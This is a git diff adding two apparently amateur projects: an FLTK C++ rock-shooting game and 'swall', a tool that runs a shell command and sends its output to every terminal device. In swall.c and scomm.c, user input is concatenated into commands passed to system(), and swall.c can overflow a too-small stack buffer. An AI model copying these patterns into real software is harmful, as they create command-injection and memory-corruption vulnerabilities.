index 0000000..0b9348f
--- /dev/null
+++ b/simple_game/README.md
@@ -0,0 +1,2 @@
+# simple_game
+Its a simple shitpost of a game I very quickly wrote up.
diff --git a/simple_game/images/rock.png b/simple_game/images/rock.png
new file mode 100644
index 0000000..a54e88f
--- /dev/null
+++ b/simple_game/images/rock.png
Binary files differ
diff --git a/simple_game/images/ship.png b/simple_game/images/ship.png
new file mode 100644
index 0000000..a3497ad
--- /dev/null
+++ b/simple_game/images/ship.png
Binary files differ
diff --git a/simple_game/simple_game.cpp b/simple_game/simple_game.cpp
new file mode 100644
index 0000000..126e834
--- /dev/null
+++ b/simple_game/simple_game.cpp
@@ -0,0 +1,353 @@
+// FLTK headers.
+#include <FL/Fl.H>
+#include <FL/Fl_Double_Window.H>
+#include <FL/Fl_PNG_Image.H>
+#include <FL/Fl_Output.H>
+#include <FL/fl_draw.H>
+#include <FL/x.H>
+
+// C/C++ headers.
+#include <cstdio>
+#include <cstdlib>
+#include <random>
+#include <string>
+
+#define MAX_ROCKS 3
+#define MAX_BULLETS 5
+
+#define UPDATE_SPEED 60.0
+#define FPS 120.0
+
+#define PLAYER_SPEED 10
+#define BULLET_SPEED 10
+#define METDOR_SPEED 2
+
+#define BULLET_WIDTH 3
+#define BULLET_HEIGHT 10
+#define BULLET_COLOR FL_BLACK
+
+#define PLAYER_WIDTH 100
+#define PLAYER_HEIGHT 100
+
+#define METDOR_MAX 200
+#define METDOR_MIN 50
+
+#define SCORE_BOX_WIDTH 200
+
+struct Direction {
+ bool right, left;
+};
+
+struct MainData {
+ Fl_Double_Window * win;
+ Fl_PNG_Image * rock_image;
+ Fl_PNG_Image * ship_image;
+ Fl_Widget * player;
+ Fl_Output * score_box;
+
+ Fl_Widget * metdors[MAX_ROCKS + 1];
+ int metdor_count = -1;
+
+ Fl_Widget * bullets[MAX_BULLETS + 1];
+ int bullet_count = -1;
+
+ int score = 0;
+};
+
+int random_range(int x, int y) {
+ std::random_device rd;
+ std::mt19937 gen(rd());
+ std::uniform_int_distribution<> distr(x, y);
+
+ return distr(gen);
+}
+
+bool object_collision(Fl_Widget * obj1, Fl_Widget * obj2) {
+ if (obj1->x() + obj1->w() >= obj2->x() &&
+ obj1->x() <= obj2->x() + obj2->w() &&
+ obj1->y() + obj1->h() >= obj2->y() &&
+ obj1->y() <= obj2->y() + obj2->h())
+ return true;
+
+ return false;
+}
+
+class Metdor : public Fl_Widget {
+ public:
+ Metdor(MainData * md, int X, int Y, int W, int H) : Fl_Widget(X, Y, W, H) {
+ mdata = md;
+ }
+
+ void draw();
+ private:
+ MainData * mdata;
+};
+
+void Metdor::draw() {
+ if (!active())
+ return;
+
+ image()->draw(x(), y());
+}
+
+class Player : public Fl_Widget {
+ public:
+ Player(MainData * md, int X, int Y) : Fl_Widget(X, Y, PLAYER_WIDTH, PLAYER_HEIGHT) {
+ mdata = md;
+ }
+
+ void draw();
+ private:
+ MainData * mdata;
+};
+
+void Player::draw() {
+ image()->copy(w(), h())->draw(x(), y());
+}
+
+class Bullet : public Fl_Widget {
+ public:
+ Bullet(MainData * md, int X, int Y) : Fl_Widget(X, Y, BULLET_WIDTH, BULLET_HEIGHT) {
+ mdata = md;
+ color(BULLET_COLOR);
+ }
+
+ void draw();
+ private:
+ MainData * mdata;
+};
+
+void Bullet::draw() {
+ if (!active())
+ return;
+
+ fl_rectf(x(), y(), w(), h(), color());
+}
+
+class GameWindow : public Fl_Double_Window {
+ public:
+ GameWindow(MainData * md, int W, int H, const char * l=0) : Fl_Double_Window(W, H, l) {
+ mdata = md;
+ dir = {false, false};
+
+ Fl::add_timeout(1.0 / UPDATE_SPEED, time_cb, (void*)this);
+ Fl::add_timeout(1.0 / FPS, draw_loop, (void*)this);
+ }
+
+ static void time_cb(void * d) {
+ GameWindow * win = (GameWindow*)d;
+ win->real_time_cb();
+ Fl::repeat_timeout(1.0 / UPDATE_SPEED, time_cb, d);
+ }
+
+ static void draw_loop(void * d) {
+ GameWindow * win = (GameWindow*)d;
+ win->redraw();
+ Fl::repeat_timeout(1.0 / FPS, draw_loop, d);
+ }
+
+ void real_time_cb();
+
+ int handle(int event);
+ private:
+ MainData * mdata;
+ Direction dir;
+};
+
+void GameWindow::real_time_cb() {
+ int i, b;
+ int rock_size;
+
+ // Update ship.
+ if (dir.right && mdata->player->x() + mdata->player->w() < w())
+ mdata->player->position(mdata->player->x() + PLAYER_SPEED, mdata->player->y());
+ if (dir.left && mdata->player->x() > 0)
+ mdata->player->position(mdata->player->x() - PLAYER_SPEED, mdata->player->y());
+
+ // Update bullet.
+ if (mdata->bullet_count != -1) {
+
+ for (i = 0; i < MAX_BULLETS; i++)
+ mdata->bullets[i]->position(mdata->bullets[i]->x(),
+ mdata->bullets[i]->y() - BULLET_SPEED);
+
+ // Remove bullets that leave window.
+ if (mdata->bullets[mdata->bullet_count]->y() <= 0) {
+ mdata->bullets[mdata->bullet_count]->deactivate();
+ mdata->bullet_count--;
+ }
+ }
+
+ // Update metdors.
+ if (mdata->metdor_count == -1) {
+
+ for (i = 0; i < MAX_ROCKS; i++) {
+ mdata->metdor_count++;
+ rock_size = random_range(METDOR_MIN, METDOR_MAX);
+
+ mdata->metdors[i]->resize(random_range(0, w() - rock_size), -rock_size, rock_size, rock_size);
+ mdata->metdors[i]->image(mdata->rock_image->copy(rock_size, rock_size));
+ mdata->metdors[i]->activate();
+ }
+
+ } else {
+
+ if (mdata->metdor_count != -1) {
+ for (i = 0; i < MAX_ROCKS; i++) {
+
+ // Check for collision with bullet.
+ for (b = 0; b < MAX_BULLETS; b++) {
+
+ if (object_collision(mdata->bullets[b], mdata->metdors[i])
+ && mdata->bullets[b]->active()
+ && mdata->metdors[i]->active()) {
+
+ mdata->bullets[b]->deactivate();
+ mdata->metdors[i]->deactivate();
+ mdata->score++;
+ mdata->score_box->value(std::to_string(mdata->score).c_str());
+ }
+ }
+
+ // Collision with player.
+ if (object_collision(mdata->metdors[i], mdata->player)
+ && mdata->metdors[i]->active()) {
+ mdata->score -= MAX_ROCKS;
+ mdata->metdor_count = -1;
+ mdata->score_box->value(std::to_string(mdata->score).c_str());
+
+ for (b = 0; b < MAX_ROCKS; b++)
+ mdata->metdors[b]->deactivate();
+
+ break;
+ }
+
+ mdata->metdors[i]->position(mdata->metdors[i]->x(),
+ mdata->metdors[i]->y() + METDOR_SPEED);
+ }
+
+ if (mdata->metdors[mdata->metdor_count]->y() >= h()) {
+
+ if (mdata->metdors[mdata->metdor_count]->active()) {
+ mdata->score--;
+ mdata->score_box->value(std::to_string(mdata->score).c_str());
+ }
+
+ mdata->metdors[mdata->metdor_count]->deactivate();
+ mdata->metdor_count--;
+ }
+ }
+
+ }
+}
+
+int GameWindow::handle(int event) {
+ switch (event) {
+ case FL_UNFOCUS:
+ case FL_FOCUS:
+ return 1;
+ case FL_KEYDOWN:
+
+ switch (Fl::event_key()) {
+ case FL_Escape:
+ hide();
+ case ' ':
+ if (mdata->bullet_count >= MAX_BULLETS - 1)
+ break;
+
+ mdata->bullet_count++;
+
+ mdata->bullets[mdata->bullet_count]->position(
+ mdata->player->x() + (mdata->player->w() / 2),
+ mdata->player->y());
+ mdata->bullets[mdata->bullet_count]->activate();
+
+ break;
+ case FL_Right:
+ dir.right = true;
+ break;
+ case FL_Left:
+ dir.left = true;
+ break;
+ default:
+ break;
+ }
+
+ return 1;
+ case FL_KEYUP:
+
+ switch (Fl::event_key()) {
+ case FL_Right:
+ dir.right = false;
+ break;
+ case FL_Left:
+ dir.left = false;
+ break;
+ default:
+ break;
+ }
+
+ return 1;
+ default:
+ return 0;
+ }
+}
+
+int main(int argc, char ** argv) {
+ int i;
+ MainData mdata;
+
+ mdata.win = new GameWindow(&mdata, Fl::w() / 2, Fl::h() / 2, "Game");
+
+ // Load images.
+#ifdef _WIN32
+ mdata.rock_image = new Fl_PNG_Image("images\\rock.png");
+#else
+ mdata.rock_image = new Fl_PNG_Image("images/rock.png");
+#endif
+
+ if (mdata.rock_image->fail()) {
+ perror("Error loading rock.png");
+ exit(0);
+ }
+
+#ifdef _WIN32
+ mdata.ship_image = new Fl_PNG_Image("images\\ship.png");
+#else
+ mdata.ship_image = new Fl_PNG_Image("images/ship.png");
+#endif
+
+ if (mdata.ship_image->fail()) {
+ perror("Error loading ship.png");
+ exit(0);
+ }
+
+ // Add player.
+ mdata.player = new Player(&mdata, (mdata.win->w() / 2) - (PLAYER_WIDTH / 2),
+ mdata.win->h() - PLAYER_HEIGHT);
+ mdata.player->image(mdata.ship_image);
+
+ // Add Bullets.
+ for (i = 0; i < MAX_BULLETS; i++) {
+ mdata.bullets[i] = new Bullet(&mdata, 0, 0);
+ mdata.bullets[i]->deactivate();
+ }
+
+ // Add Metdors.
+ for (i = 0; i < MAX_ROCKS; i++) {
+ mdata.metdors[i] = new Metdor(&mdata, 0, 0, 0, 0);
+ mdata.metdors[i]->deactivate();
+ }
+
+ // Score box.
+ mdata.score_box = new Fl_Output((mdata.win->w() / 2) - (SCORE_BOX_WIDTH / 2),
+ 0, SCORE_BOX_WIDTH, 30, "Score");
+ mdata.score_box->value(std::to_string(mdata.score).c_str());
+
+
+ mdata.win->end();
+ mdata.win->resizable(mdata.win);
+
+ mdata.win->show(argc, argv);
+ return Fl::run();
+}
diff --git a/swall/Makefile b/swall/Makefile
new file mode 100644
index 0000000..9ee927b
--- /dev/null
+++ b/swall/Makefile
@@ -0,0 +1,24 @@
+all: swall scomm
+debug: d_swall d_scomm
+
+swall: swall.c
+ gcc -o swall swall.c
+d_swall: swall.c
+ gcc -o swall swall.c -g
+scomm: scomm.c
+ gcc -o scomm scomm.c
+d_scomm: scomm.c
+ gcc -o scomm scomm.c -g
+install:
+ sudo cp swall /usr/local/bin/
+ sudo cp swall.3 /usr/share/man/man3/swall.3
+ sudo cp scomm /usr/local/bin/
+ sudo cp scomm.3 /usr/share/man/man3/scomm.3
+uninstall:
+ sudo rm /usr/local/bin/swall
+ sudo rm /usr/share/man/man3/swall.3
+ sudo rm /usr/local/bin/scomm
+ sudo rm /usr/share/man/man3/scomm.3
+reinstall: uninstall install
+clean:
+ rm swall scomm
diff --git a/swall/README.md b/swall/README.md
new file mode 100644
index 0000000..2f9c019
--- /dev/null
+++ b/swall/README.md
@@ -0,0 +1,2 @@
+# swall
+It seems to be my take on the wall command. It's ugly so good luck if you decide to look at it.
diff --git a/swall/scomm.3 b/swall/scomm.3
new file mode 100644
index 0000000..26fbc43
--- /dev/null
+++ b/swall/scomm.3
@@ -0,0 +1,15 @@
+./" scomm
+.TH scomm 3 "2021" "scomm"
+
+.SH NAME
+ scomm
+.SH DESCRIPTION
+ scomm is the swall command line. Also see swall.
+.SH COMMANDS
+ - exit to exit.
+
+ - clsme to clear your page.
+
+ - echomod turns echomod on and of. echomod prints a message in stead of a command.
+
+ - clear and clsme will work the same in echomod and normall mode.
diff --git a/swall/scomm.c b/swall/scomm.c
new file mode 100644
index 0000000..a5a2eb7
--- /dev/null
+++ b/swall/scomm.c
@@ -0,0 +1,55 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main() {
+ int echomod = 0;
+ char msg[50], com[100];
+
+ while (!feof(stdin)) {
+
+ if (echomod)
+ printf("echo ");
+ else
+ printf("--> ");
+
+ memset(msg, 0, sizeof(msg));
+ memset(com, 0, sizeof(com));
+ fgets(msg, sizeof(msg), stdin);
+
+ if (!strncmp(msg,"\n", sizeof(msg)))
+ continue;
+ else if (!strncmp(msg, "exit\n", sizeof(msg))) {
+
+ if (echomod) {
+ echomod = 0;
+ continue;
+ }
+
+ break;
+ } else if (!strncmp(msg, "echomod\n", sizeof(msg))) {
+
+ if (echomod)
+ echomod = 0;
+ else
+ echomod = 1;
+
+ continue;
+ } else if (!strncmp(msg, "clsme\n", sizeof(msg))) {
+ system("clear");
+ continue;
+ } else if (!strncmp(msg, "clear\n", sizeof(msg))) {
+ system("swall clear");
+ continue;
+ }
+
+ if (echomod)
+ snprintf(com, sizeof(com), "swall echo %s", msg);
+ else
+ snprintf(com, sizeof(com), "swall %s", msg);
+
+ system(com);
+ }
+
+ return 0;
+}
diff --git a/swall/swall.3 b/swall/swall.3
new file mode 100644
index 0000000..0bd0d66
--- /dev/null
+++ b/swall/swall.3
@@ -0,0 +1,9 @@
+./" swall
+.TH swall 3 "2021" "swall"
+
+.SH NAME
+ swall
+.SH SYNOPSIS
+ swall [command]
+.SH DESCRIPTION
+ swall = super wall. It runs the same command in all shells. Also see scomm and wall.
diff --git a/swall/swall.c b/swall/swall.c
new file mode 100644
index 0000000..97865f1
--- /dev/null
+++ b/swall/swall.c
@@ -0,0 +1,57 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+
+int file_exis(const char * file_name) {
+ FILE * fp;
+
+ if ((fp = fopen(file_name, "r"))) {
+ fclose(fp);
+ return 1;
+ }
+
+ return 0;
+}
+
+int main(int argc, char ** argv) {
+ int i;
+
+ if (argc < 2) {
+ fputs("No arguments found.\n", stderr);
+ return -1;
+ }
+
+ size_t the_size = strlen(argv[1]);
+ char msg[the_size];
+ memset(msg, 0, the_size);
+
+ strncat(msg, argv[1], sizeof(msg));
+
+ for (i = 2; i < argc; i++) {
+ strncat(msg, " ", the_size);
+ strncat(msg, argv[i], the_size);
+ }
+
+ char com[100];
+ char file_msg[15];
+
+ for (i = 0; i < 100; i++) {
+ snprintf(file_msg, sizeof(file_msg), "/dev/pts/%d", i);
+
+ if (file_exis(file_msg)) {
+ snprintf(com, sizeof(com), "%s > %s", msg, file_msg);
+ system(com);
+ }
+
+ snprintf(file_msg, sizeof(file_msg), "/dev/tty%d", i);
+
+ if (file_exis(file_msg)) {
+ snprintf(com, sizeof(com), "%s > %s", msg, file_msg);
+ system(com);
+ }
+ }
+
+
+ return 0;
+}